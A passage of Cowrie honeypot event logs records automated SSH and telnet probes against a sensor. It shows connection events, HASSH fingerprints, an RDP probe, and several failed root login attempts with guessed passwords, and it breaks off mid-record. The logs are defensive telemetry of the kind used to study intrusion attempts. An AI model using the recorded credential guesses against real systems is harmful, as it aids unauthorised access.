{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:03.051755Z","src_ip":"68.235.62.179","session":"a382c032ff2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":51188,"dst_ip":"159.203.135.109","dst_port":22,"session":"c25e57353273","protocol":"ssh","message":"New connection: 103.75.183.219:51188 (159.203.135.109:22) [session: c25e57353273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:03.759511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:03.765581Z","src_ip":"103.75.183.219","session":"c25e57353273","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:04.005232Z","src_ip":"103.75.183.219","session":"c25e57353273","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"diablo","message":"login attempt [root/diablo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:04.725452Z","src_ip":"103.75.183.219","session":"c25e57353273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:05.975329Z","src_ip":"103.75.183.219","session":"c25e57353273","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39308,"dst_ip":"10.17.0.5","dst_port":23,"session":"db5d6583c8e2","protocol":"telnet","message":"New connection: 192.119.13.58:39308 (10.17.0.5:23) [session: db5d6583c8e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:06.609095Z"}
{"eventid":"cowrie.session.closed","duration":52.456716537475586,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:59.065718Z","src_ip":"192.119.13.58","session":"db5d6583c8e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60640,"dst_ip":"10.17.0.5","dst_port":23,"session":"af044c5bd36a","protocol":"telnet","message":"New connection: 192.119.13.58:60640 (10.17.0.5:23) [session: af044c5bd36a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:20:05.463431Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":64569,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddc6555a6f6d","protocol":"ssh","message":"New connection: 152.42.212.128:64569 (10.17.0.5:22) [session: ddc6555a6f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:20:31.844837Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:20:31.849143Z","src_ip":"152.42.212.128","session":"ddc6555a6f6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:20:31.852262Z","src_ip":"152.42.212.128","session":"ddc6555a6f6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38252,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab4c9cf5f904","protocol":"ssh","message":"New connection: 103.153.68.219:38252 (159.203.135.109:22) [session: ab4c9cf5f904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:20:49.482659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:20:49.487272Z","src_ip":"103.153.68.219","session":"ab4c9cf5f904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:20:49.736664Z","src_ip":"103.153.68.219","session":"ab4c9cf5f904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lineage2","message":"login attempt [root/lineage2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:20:50.484792Z","src_ip":"103.153.68.219","session":"ab4c9cf5f904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:20:51.740636Z","src_ip":"103.153.68.219","session":"ab4c9cf5f904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.483272314071655,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:20:53.946568Z","src_ip":"192.119.13.58","session":"af044c5bd36a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54212,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cbc89919818","protocol":"telnet","message":"New connection: 192.119.13.58:54212 (10.17.0.5:23) [session: 2cbc89919818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:21:06.127190Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":47558,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a958eac565c","protocol":"ssh","message":"New connection: 109.237.96.109:47558 (159.203.135.109:22) [session: 4a958eac565c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:21:32.623288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:21:32.627273Z","src_ip":"109.237.96.109","session":"4a958eac565c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:21:32.718351Z","src_ip":"109.237.96.109","session":"4a958eac565c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfksirf","message":"login attempt [root/vfksirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:21:32.993987Z","src_ip":"109.237.96.109","session":"4a958eac565c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:21:34.092460Z","src_ip":"109.237.96.109","session":"4a958eac565c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":54332,"dst_ip":"10.17.0.5","dst_port":22,"session":"73889f911f0a","protocol":"ssh","message":"New connection: 103.183.114.55:54332 (10.17.0.5:22) [session: 73889f911f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:21:37.034750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:21:37.041227Z","src_ip":"103.183.114.55","session":"73889f911f0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:21:37.259371Z","src_ip":"103.183.114.55","session":"73889f911f0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"canada","message":"login attempt [root/canada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:21:38.141267Z","src_ip":"103.183.114.55","session":"73889f911f0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:21:39.365529Z","src_ip":"103.183.114.55","session":"73889f911f0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.02787399291992,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:21:53.154950Z","src_ip":"192.119.13.58","session":"2cbc89919818","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":46510,"dst_ip":"10.17.0.5","dst_port":22,"session":"34c03aacc5f8","protocol":"ssh","message":"New connection: 38.93.206.2:46510 (10.17.0.5:22) [session: 34c03aacc5f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:04.710558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:04.716064Z","src_ip":"38.93.206.2","session":"34c03aacc5f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:04.773330Z","src_ip":"38.93.206.2","session":"34c03aacc5f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"314159","message":"login attempt [root/314159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:05.041718Z","src_ip":"38.93.206.2","session":"34c03aacc5f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:06.108926Z","src_ip":"38.93.206.2","session":"34c03aacc5f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":37690,"dst_ip":"10.17.0.5","dst_port":22,"session":"2244243982eb","protocol":"ssh","message":"New connection: 77.94.47.83:37690 (10.17.0.5:22) [session: 2244243982eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:07.177478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:07.185593Z","src_ip":"77.94.47.83","session":"2244243982eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:07.313503Z","src_ip":"77.94.47.83","session":"2244243982eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1236987","message":"login attempt [root/1236987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:07.699108Z","src_ip":"77.94.47.83","session":"2244243982eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:08.830531Z","src_ip":"77.94.47.83","session":"2244243982eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":45782,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b6423f8574c","protocol":"ssh","message":"New connection: 194.59.206.2:45782 (159.203.135.109:22) [session: 5b6423f8574c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:18.968500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:18.975295Z","src_ip":"194.59.206.2","session":"5b6423f8574c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:19.068175Z","src_ip":"194.59.206.2","session":"5b6423f8574c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:19.161752Z","src_ip":"194.59.206.2","session":"5b6423f8574c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":59318,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a1724bb6eff","protocol":"ssh","message":"New connection: 80.66.85.226:59318 (10.17.0.5:22) [session: 3a1724bb6eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:30.833223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:30.836661Z","src_ip":"80.66.85.226","session":"3a1724bb6eff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v0